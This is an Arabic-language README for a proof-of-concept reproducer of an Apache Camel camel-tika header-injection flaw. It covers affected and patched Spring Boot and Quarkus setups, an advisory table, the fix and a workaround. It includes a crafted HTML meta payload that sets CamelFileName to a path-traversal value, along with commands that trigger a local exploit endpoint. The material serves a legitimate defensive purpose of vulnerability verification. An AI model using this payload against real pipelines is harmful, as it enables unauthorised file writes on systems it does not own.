
مُعيد إنتاج قابل للتشغيل لـ Spring Boot وQuarkus من أجل CVE-2026-85249، يوضّح حقن ترويسة بيانات camel-tika الوصفية في CamelFileName مع عناصر تحكم مصابة ومُصلحة.
CamelFileName)مُعيد إنتاج إثبات مفهوم قابل للتشغيل لثغرة Apache Camel حيث قام منتج Tika بتعيين كل مفتاح بيانات وصفية
تم تحليله من المستند المُرسَل على الـ Exchange كترويسة، دون تطبيق أي تصفية. البيانات الوصفية للمستند
محتوى يتحكم فيه المهاجم: فالطرف الذي يوفّر الملف هو من يختار مفاتيح البيانات الوصفية التي يحملها. لذلك يمكن
لمستند مُصمَّم بعناية أن يضبط ترويسات Exchange التي يعتمد عليها باقي المسار، بما في ذلك ترويسات نطاق Camel
مثل CamelFileName، والتي تستخدمها المكوّنات اللاحقة لتحديد مكان كتابة المحتوى. إنها نفس فئة حقن الترويسات
الموجودة في تنبيهات المستهلك، لكن الوصول إليها هنا يتم عبر محتوى ملف تم تحليله بدلاً من ترويسة بروتوكول.
| بيئة التشغيل | الدليل | الحزمة |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-tika 4.22.0 (متأثرة؛ مُصلحة في 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-tika (Camel 4.22.0، متأثرة؛ عنصر التحكم المُصلح CQ 3.40.0 / Camel 4.22.1) |
يُظهر كلا الوحدتين السلوك المتأثر و السلوك المُصلح.
يُرسل المهاجم مستند HTML — إذ تصل سمة HTML <meta name="..."> إلى بيانات Tika الوصفية حرفيًا، لذا
يختار المستند أسماء الترويسات:
<meta name="CamelFileName" content="ATTACKER-SET-../../pwned.txt"/>
<meta name="author" content="legitimate-metadata"/>
المسار هو ببساطة from(...).to("tika:parse"). بعد التحليل، يتم فحص ترويسات Exchange.
CamelFileName (Exchange.FILE_NAME) إلى قيمة المهاجم من المستند. منتج ملفات
لاحق سيستخدم تلك القيمة التي اختارها المهاجم لتحديد مكان كتابة المحتوى.CamelFileName (لا يُعيَّن من المستند)، بينما تظل البيانات الوصفية العادية مثل author
مُعيَّنة — حيث يحجب عامل التصفية نطاق Camel الداخلي فقط.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: document sets CamelFileName; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85249-tika-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: CamelFileName filtered; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): document sets CamelFileName
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: CamelFileName filtered
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-tika (TikaProducer.convertMetadataToHeaders) |
| CWE | CWE-20 (التحقق غير السليم من المدخلات) |
| الخطورة | متوسطة |
| ناقل الهجوم | مستند مُقدَّم تُصرّح بياناته الوصفية المُحلَّلة بأسماء ترويسات داخلية خاصة بـ Camel (مثل عبر HTML <meta name="CamelFileName">) |
| التأثير | حقن الترويسات: يقوم المستند بتعيين ترويسات Exchange تعتمد عليها المسار، مثل CamelFileName الذي يحدد مكان كتابة المكوّنات اللاحقة للمحتوى |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.18.5، ومن 4.19.0 قبل 4.22.1 |
| الإصدارات المُصلَحة | 4.18.5، 4.22.1، 4.23.0 |
| JIRA | CAMEL-24423 |
| الفضل | Claude Security Scan Tool |
الإشعار الأمني: https://camel.apache.org/security/CVE-2026-85249.html
أصبحت TikaProducer.convertMetadataToHeaders الآن تُرشِّح كل اسم بيانات وصفية
مُحلَّل عبر HeaderFilterStrategy (مُهيَّأة بـ inFilterStartsWith("Camel", "camel", "org.apache.camel.")،
دون تمييز لحالة الأحرف) قبل تعيينه على Exchange — بالطريقة ذاتها التي يُرشِّح بها المستهلك الأسماء المُقدَّمة من
مُرسِل خارجي — بحيث لا يستطيع المستند التصريح باسم بيانات وصفية يقع في نطاق Camel الداخلي. لا تزال البيانات الوصفية خارج ذلك
النطاق تُعيَّن.
أزل نطاق Camel بعد منتج Tika باستخدام removeHeaders("Camel*") قبل أي مكوّن يتصرف بناءً على
تلك الترويسات.
نُشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache Camel على فهم الثغرة الأمنية، والتحقق مما إذا كانوا متأثرين بها، وتأكيد أن الترقية تحلّها. المستند المُصمَّم واسم الملف المحقون هما عناصر اختبار محلية خاملة. لا تستخدم هذه المواد ضد أنظمة لا تملكها أو لا تديرها.